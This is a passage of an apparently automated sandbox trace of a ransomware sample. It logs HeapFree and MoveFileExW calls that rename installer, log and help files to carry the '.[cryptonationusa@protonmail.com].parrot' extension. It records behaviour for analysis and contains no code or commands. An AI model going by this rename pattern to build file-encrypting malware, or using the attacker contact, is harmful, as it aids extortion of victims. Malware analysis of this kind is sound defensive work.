lpMem=0x685c50 | out: hHeap=0x5b0000) returned 1 [0105.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.274] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.278] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.281] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.286] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0105.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.290] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0105.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.294] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0105.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.315] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f398 | out: hHeap=0x5b0000) returned 1 [0105.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x224e0a0 | out: hHeap=0x5b0000) returned 1 [0105.323] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x644230 | out: hHeap=0x5b0000) returned 1 [0105.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0105.404] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0105.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0105.546] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0105.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0106.008] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0106.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0106.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0106.087] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69dcb8 | out: hHeap=0x5b0000) returned 1 [0106.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0106.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0106.099] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0106.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0106.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0106.156] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0106.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0106.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0106.245] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0106.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0106.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0106.256] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0106.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0106.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0106.372] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d848 | out: hHeap=0x5b0000) returned 1 [0106.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0106.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0106.461] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69dcb8 | out: hHeap=0x5b0000) returned 1 [0106.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0106.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0106.563] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d848 | out: hHeap=0x5b0000) returned 1 [0106.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0106.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0106.624] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0106.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d6c0 | out: hHeap=0x5b0000) returned 1 [0106.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0106.693] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d9d0 | out: hHeap=0x5b0000) returned 1 [0106.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d848 | out: hHeap=0x5b0000) returned 1 [0106.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0106.723] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69dcb8 | out: hHeap=0x5b0000) returned 1 [0106.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d848 | out: hHeap=0x5b0000) returned 1 [0106.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0106.804] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d9d0 | out: hHeap=0x5b0000) returned 1 [0106.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d848 | out: hHeap=0x5b0000) returned 1 [0106.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0106.845] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0106.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d848 | out: hHeap=0x5b0000) returned 1 [0106.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0106.930] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0106.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0106.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d9d0 | out: hHeap=0x5b0000) returned 1 [0106.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0107.000] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69dcb8 